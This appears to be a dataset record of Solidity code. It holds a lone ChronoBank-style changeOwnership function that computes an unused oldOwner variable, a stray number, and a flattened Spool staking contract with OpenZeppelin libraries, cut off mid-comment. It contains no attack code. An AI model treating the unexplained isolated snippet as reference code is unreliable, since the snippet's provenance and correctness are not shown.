function changeOwnership(bytes32 _symbol, address _newOwner) public onlyOwner(_symbol) returns (uint) { if (_newOwner == 0x0) { return _emitErrorCode(CHRONOBANK_PLATFORM_INVALID_NEW_OWNER); } uint newOwnerId = _createHolderId(_newOwner); uint assetOwner = _assetOwner(_symbol); if (assetOwner == newOwnerId) { return _emitErrorCode(CHRONOBANK_PLATFORM_CANNOT_APPLY_TO_ONESELF); } address oldOwner = _address(assetOwner); set(store, assetOwnerIdStorage, _symbol, newOwnerId); return OK; }
1,049,067
// SPDX-License-Identifier: MIT pragma solidity 0.8.13; import "./external/@openzeppelin/security/ReentrancyGuardUpgradeable.sol"; import "./external/spool-core/SpoolOwnable.sol"; import "./interfaces/ISpoolStaking.sol"; import "./external/@openzeppelin/token/ERC20/utils/SafeERC20.sol"; import "./external/@openzeppelin/utils/SafeCast.sol"; import "./interfaces/IVoSpoolRewards.sol"; import "./interfaces/IVoSPOOL.sol"; import "./interfaces/IRewardDistributor.sol"; /* ========== STRUCTS ========== */ // The reward configuration struct, containing all the necessary data of a typical Synthetix StakingReward contract struct RewardConfiguration { uint32 rewardsDuration; uint32 periodFinish; uint192 rewardRate; // rewards per second multiplied by accuracy uint32 lastUpdateTime; uint224 rewardPerTokenStored; mapping(address => uint256) userRewardPerTokenPaid; mapping(address => uint256) rewards; } /** * @notice Implementation of the {ISpoolStaking} interface. * * @dev * An adaptation of the Synthetix StakingRewards contract to support multiple tokens: * * https://github.com/Synthetixio/synthetix/blob/develop/contracts/StakingRewards.sol * * At stake, gradual voSPOOL (Spool DAO Voting Token) is minted and accumulated every week. * At unstake all voSPOOL is burned. The maturing process of voSPOOL restarts. */ contract SpoolStaking is ReentrancyGuardUpgradeable, SpoolOwnable, ISpoolStaking { using SafeERC20 for IERC20; /* ========== CONSTANTS ========== */ /// @notice Multiplier used when dealing reward calculations uint256 private constant REWARD_ACCURACY = 1e18; /* ========== STATE VARIABLES ========== */ /// @notice SPOOL token address IERC20 public immutable stakingToken; /// @notice voSPOOL token address IVoSPOOL public immutable voSpool; /// @notice voSPOOL token rewards address IVoSpoolRewards public immutable voSpoolRewards; /// @notice Spool reward distributor IRewardDistributor public immutable rewardDistributor; /// @notice Reward token configurations mapping(IERC20 => RewardConfiguration) public rewardConfiguration; /// @notice Reward tokens IERC20[] public rewardTokens; /// @notice Blacklisted force-removed tokens mapping(IERC20 => bool) public tokenBlacklist; /// @notice Total SPOOL staked uint256 public totalStaked; /// @notice Account SPOOL staked balance mapping(address => uint256) public balances; /// @notice Whitelist showing if address can stake for another address mapping(address => bool) public canStakeFor; /// @notice Mapping showing if and what address staked for another address /// @dev if address is 0, noone staked for address (or unstaking was permitted) mapping(address => address) public stakedBy; /* ========== CONSTRUCTOR ========== */ /** * @notice Sets the immutable values * * @param _stakingToken SPOOL token * @param _voSpool Spool voting token (voSPOOL) * @param _voSpoolRewards voSPOOL rewards contract * @param _rewardDistributor reward distributor contract * @param _spoolOwner Spool DAO owner contract */ constructor( IERC20 _stakingToken, IVoSPOOL _voSpool, IVoSpoolRewards _voSpoolRewards, IRewardDistributor _rewardDistributor, ISpoolOwner _spoolOwner ) SpoolOwnable(_spoolOwner) { stakingToken = _stakingToken; voSpool = _voSpool; voSpoolRewards = _voSpoolRewards; rewardDistributor = _rewardDistributor; } /* ========== INITIALIZER ========== */ function initialize() external initializer { __ReentrancyGuard_init(); } /* ========== VIEWS ========== */ function lastTimeRewardApplicable(IERC20 token) public view returns (uint32) { return uint32(_min(block.timestamp, rewardConfiguration[token].periodFinish)); } function rewardPerToken(IERC20 token) public view returns (uint224) { RewardConfiguration storage config = rewardConfiguration[token]; if (totalStaked == 0) return config.rewardPerTokenStored; uint256 timeDelta = lastTimeRewardApplicable(token) - config.lastUpdateTime; if (timeDelta == 0) return config.rewardPerTokenStored; return SafeCast.toUint224(config.rewardPerTokenStored + ((timeDelta * config.rewardRate) / totalStaked)); } function earned(IERC20 token, address account) public view returns (uint256) { RewardConfiguration storage config = rewardConfiguration[token]; uint256 accountStaked = balances[account]; if (accountStaked == 0) return config.rewards[account]; uint256 userRewardPerTokenPaid = config.userRewardPerTokenPaid[account]; return ((accountStaked * (rewardPerToken(token) - userRewardPerTokenPaid)) / REWARD_ACCURACY) + config.rewards[account]; } function rewardTokensCount() external view returns (uint256) { return rewardTokens.length; } /* ========== MUTATIVE FUNCTIONS ========== */ function stake(uint256 amount) external nonReentrant updateRewards(msg.sender) { _stake(msg.sender, amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function _stake(address account, uint256 amount) private { require(amount > 0, "SpoolStaking::_stake: Cannot stake 0"); unchecked { totalStaked = totalStaked += amount; balances[account] += amount; } // mint gradual voSPOOL for the account voSpool.mintGradual(account, amount); } function compound(bool doCompoundVoSpoolRewards) external nonReentrant { // collect SPOOL earned fom spool rewards and stake them uint256 reward = _getRewardForCompound(msg.sender, doCompoundVoSpoolRewards); if (reward > 0) { // update user rewards before staking _updateSpoolRewards(msg.sender); // update user voSPOOL based reward before staking // skip updating voSPOOL reward if we compounded form it as it's already updated if (!doCompoundVoSpoolRewards) { _updateVoSpoolReward(msg.sender); } // stake collected reward _stake(msg.sender, reward); // move compounded SPOOL reward to this contract rewardDistributor.payReward(address(this), stakingToken, reward); } } function unstake(uint256 amount) public nonReentrant notStakedBy updateRewards(msg.sender) { require(amount > 0, "SpoolStaking::unstake: Cannot withdraw 0"); require(amount <= balances[msg.sender], "SpoolStaking::unstake: Cannot unstake more than staked"); unchecked { totalStaked = totalStaked -= amount; balances[msg.sender] -= amount; } stakingToken.safeTransfer(msg.sender, amount); // burn gradual voSPOOL for the sender if (balances[msg.sender] == 0) { voSpool.burnGradual(msg.sender, 0, true); } else { voSpool.burnGradual(msg.sender, amount, false); } emit Unstaked(msg.sender, amount); } function _getRewardForCompound(address account, bool doCompoundVoSpoolRewards) internal updateReward(stakingToken, account) returns (uint256 reward) { RewardConfiguration storage config = rewardConfiguration[stakingToken]; reward = config.rewards[account]; if (reward > 0) { config.rewards[account] = 0; emit RewardCompounded(msg.sender, reward); } if (doCompoundVoSpoolRewards) { _updateVoSpoolReward(account); uint256 voSpoolreward = voSpoolRewards.flushRewards(account); if (voSpoolreward > 0) { reward += voSpoolreward; emit VoRewardCompounded(msg.sender, reward); } } } function getRewards(IERC20[] memory tokens, bool doClaimVoSpoolRewards) external nonReentrant notStakedBy { for (uint256 i; i < tokens.length; i++) { _getReward(tokens[i], msg.sender); } if (doClaimVoSpoolRewards) { _getVoSpoolRewards(msg.sender); } } function getActiveRewards(bool doClaimVoSpoolRewards) external nonReentrant notStakedBy { _getActiveRewards(msg.sender); if (doClaimVoSpoolRewards) { _getVoSpoolRewards(msg.sender); } } function getUpdatedVoSpoolRewardAmount() external returns (uint256 rewards) { // update rewards rewards = voSpoolRewards.updateRewards(msg.sender); // update and store users voSPOOL voSpool.updateUserVotingPower(msg.sender); } function _getActiveRewards(address account) internal { uint256 _rewardTokensCount = rewardTokens.length; for (uint256 i; i < _rewardTokensCount; i++) { _getReward(rewardTokens[i], account); } } function _getReward(IERC20 token, address account) internal updateReward(token, account) { RewardConfiguration storage config = rewardConfiguration[token]; require(config.rewardsDuration != 0, "SpoolStaking::_getReward: Bad reward token"); uint256 reward = config.rewards[account]; if (reward > 0) { config.rewards[account] = 0; rewardDistributor.payReward(account, token, reward); emit RewardPaid(token, account, reward); } } function _getVoSpoolRewards(address account) internal { _updateVoSpoolReward(account); uint256 reward = voSpoolRewards.flushRewards(account); if (reward > 0) { rewardDistributor.payReward(account, stakingToken, reward); emit VoSpoolRewardPaid(stakingToken, account, reward); } } /* ========== RESTRICTED FUNCTIONS ========== */ function stakeFor(address account, uint256 amount) external nonReentrant canStakeForAddress(account) updateRewards(account) { _stake(account, amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount); stakedBy[account] = msg.sender; emit StakedFor(account, msg.sender, amount); } /** * @notice Allow unstake for `allowFor` address * @dev * * Requirements: * * - the caller must be the Spool DAO or address that staked for `allowFor` address * * @param allowFor address to allow unstaking for */ function allowUnstakeFor(address allowFor) external { require( (canStakeFor[msg.sender] && stakedBy[allowFor] == msg.sender) || isSpoolOwner(), "SpoolStaking::allowUnstakeFor: Cannot allow unstaking for address" ); // reset address to 0 to allow unstaking stakedBy[allowFor] = address(0); } /** * @notice Allows a new token to be added to the reward system * * @dev * Emits an {TokenAdded} event indicating the newly added reward token * and configuration * * Requirements: * * - the caller must be the reward Spool DAO * - the reward duration must be non-zero * - the token must not have already been added * */ function addToken( IERC20 token, uint32 rewardsDuration, uint256 reward ) external onlyOwner { RewardConfiguration storage config = rewardConfiguration[token]; require(!tokenBlacklist[token], "SpoolStaking::addToken: Cannot add blacklisted token"); require(rewardsDuration != 0, "SpoolStaking::addToken: Reward duration cannot be 0"); require(config.lastUpdateTime == 0, "SpoolStaking::addToken: Token already added"); rewardTokens.push(token); config.rewardsDuration = rewardsDuration; if (reward > 0) { _notifyRewardAmount(token, reward); } } function notifyRewardAmount( IERC20 token, uint32 _rewardsDuration, uint256 reward ) external onlyOwner { RewardConfiguration storage config = rewardConfiguration[token]; config.rewardsDuration = _rewardsDuration; require( rewardConfiguration[token].lastUpdateTime != 0, "SpoolStaking::notifyRewardAmount: Token not yet added" ); _notifyRewardAmount(token, reward); } function _notifyRewardAmount(IERC20 token, uint256 reward) private updateReward(token, address(0)) { RewardConfiguration storage config = rewardConfiguration[token]; require( config.rewardPerTokenStored + (reward * REWARD_ACCURACY) <= type(uint192).max, "SpoolStaking::_notifyRewardAmount: Reward amount too big" ); uint32 newPeriodFinish = uint32(block.timestamp) + config.rewardsDuration; if (block.timestamp >= config.periodFinish) { config.rewardRate = SafeCast.toUint192((reward * REWARD_ACCURACY) / config.rewardsDuration); emit RewardAdded(token, reward, config.rewardsDuration); } else { uint256 remaining = config.periodFinish - block.timestamp; uint256 leftover = remaining * config.rewardRate; uint192 newRewardRate = SafeCast.toUint192((reward * REWARD_ACCURACY + leftover) / config.rewardsDuration); config.rewardRate = newRewardRate; emit RewardUpdated(token, reward, leftover, config.rewardsDuration, newPeriodFinish); } config.lastUpdateTime = uint32(block.timestamp); config.periodFinish = newPeriodFinish; } // End rewards emission earlier function updatePeriodFinish(IERC20 token, uint32 timestamp) external onlyOwner updateReward(token, address(0)) { if (rewardConfiguration[token].lastUpdateTime > timestamp) { rewardConfiguration[token].periodFinish = rewardConfiguration[token].lastUpdateTime; } else { rewardConfiguration[token].periodFinish = timestamp; } emit PeriodFinishUpdated(token, rewardConfiguration[token].periodFinish); } /** * @notice Remove reward from vault rewards configuration. * @dev * Used to sanitize vault and save on gas, after the reward has ended. * Users will be able to claim rewards * * Requirements: * * - the caller must be the spool owner or Spool DAO * - cannot claim vault underlying token * - cannot only execute if the reward finished * * @param token Token address to remove */ function removeReward(IERC20 token) external onlyOwner onlyFinished(token) updateReward(token, address(0)) { _removeReward(token); } /** * @notice Allow an address to stake for another address. * @dev * Requirements: * * - the caller must be the distributor * * @param account Address to allow * @param _canStakeFor True to allow, false to remove allowance */ function setCanStakeFor(address account, bool _canStakeFor) external onlyOwner { canStakeFor[account] = _canStakeFor; emit CanStakeForSet(account, _canStakeFor); } function recoverERC20( IERC20 tokenAddress, uint256 tokenAmount, address recoverTo ) external onlyOwner { require(tokenAddress != stakingToken, "SpoolStaking::recoverERC20: Cannot withdraw the staking token"); tokenAddress.safeTransfer(recoverTo, tokenAmount); } /* ========== PRIVATE FUNCTIONS ========== */ /** * @notice Syncs rewards across all tokens of the system * * This function is meant to be invoked every time the instant deposit * of a user changes. */ function _updateRewards(address account) private { // update SPOOL based rewards _updateSpoolRewards(account); // update voSPOOL based reward _updateVoSpoolReward(account); } function _updateSpoolRewards(address account) private { uint256 _rewardTokensCount = rewardTokens.length; // update SPOOL based rewards for (uint256 i; i < _rewardTokensCount; i++) _updateReward(rewardTokens[i], account); } function _updateReward(IERC20 token, address account) private { RewardConfiguration storage config = rewardConfiguration[token]; config.rewardPerTokenStored = rewardPerToken(token); config.lastUpdateTime = lastTimeRewardApplicable(token); if (account != address(0)) { config.rewards[account] = earned(token, account); config.userRewardPerTokenPaid[account] = config.rewardPerTokenStored; } } /** * @notice Update rewards collected from account voSPOOL * @dev * First we update rewards calling `voSpoolRewards.updateRewards` * - Here we only simulate the reward accumulated over tranches * Then we update and store users power by calling voSPOOL contract * - Here we actually store the udated values. * - If store wouldn't happen, next time we'd simulate the same voSPOOL tranches again */ function _updateVoSpoolReward(address account) private { // update rewards voSpoolRewards.updateRewards(account); // update and store users voSPOOL voSpool.updateUserVotingPower(account); } function _removeReward(IERC20 token) private { uint256 _rewardTokensCount = rewardTokens.length; for (uint256 i; i < _rewardTokensCount; i++) { if (rewardTokens[i] == token) { rewardTokens[i] = rewardTokens[_rewardTokensCount - 1]; rewardTokens.pop(); emit RewardRemoved(token); break; } } } function _onlyFinished(IERC20 token) private view { require( block.timestamp > rewardConfiguration[token].periodFinish, "SpoolStaking::_onlyFinished: Reward not finished" ); } function _min(uint256 a, uint256 b) private pure returns (uint256) { return a > b ? b : a; } /* ========== MODIFIERS ========== */ modifier updateReward(IERC20 token, address account) { _updateReward(token, account); _; } modifier updateRewards(address account) { _updateRewards(account); _; } modifier canStakeForAddress(address account) { // verify sender can stake for require( canStakeFor[msg.sender] || isSpoolOwner(), "SpoolStaking::canStakeForAddress: Cannot stake for other addresses" ); // if address already staked, verify further if (balances[account] > 0) { // verify address was staked by some other address require(stakedBy[account] != address(0), "SpoolStaking::canStakeForAddress: Address already staked"); // verify address was staked by the sender or sender is the Spool DAO require( stakedBy[account] == msg.sender || isSpoolOwner(), "SpoolStaking::canStakeForAddress: Address staked by another address" ); } _; } modifier notStakedBy() { require(stakedBy[msg.sender] == address(0), "SpoolStaking::notStakedBy: Cannot withdraw until allowed"); _; } modifier onlyFinished(IERC20 token) { _onlyFinished(token); _; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal onlyInitializing { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal onlyInitializing { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the 